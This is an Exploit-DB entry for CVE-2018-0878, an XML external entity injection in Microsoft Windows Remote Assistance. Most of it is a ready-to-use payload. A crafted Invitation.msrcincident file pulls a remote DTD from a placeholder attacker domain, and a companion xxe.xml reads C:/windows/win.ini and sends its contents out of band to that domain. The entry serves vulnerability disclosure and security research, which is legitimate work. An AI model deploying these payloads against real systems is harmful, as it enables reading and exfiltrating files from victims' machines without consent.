Microsoft Windows Remote Assistance - XML External Entity Injection

EDB-ID: 44352
Author: Nabeel Ahmed
Published: 2018-03-28
CVE: CVE-2018-0878
Type: Webapps
Platform: Windows
Aliases: N/A
Advisory/Source: N/A
Tags: XML External Entity (XXE)
Vulnerable App: N/A

 # Date: 27/03/2018 
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 (x64), Windows 10 (x64)
# CVE : CVE-2018-0878
# Category: Remote Exploits

Invitation.msrcincident
------------------------
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://<yourdomain.com>/xxe.xml">
%remote;%root;%oob;]>

xxe.xml
------------------------
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://<yourdomain.com>/?%payload;'> ">

Reference: https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/
Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com)

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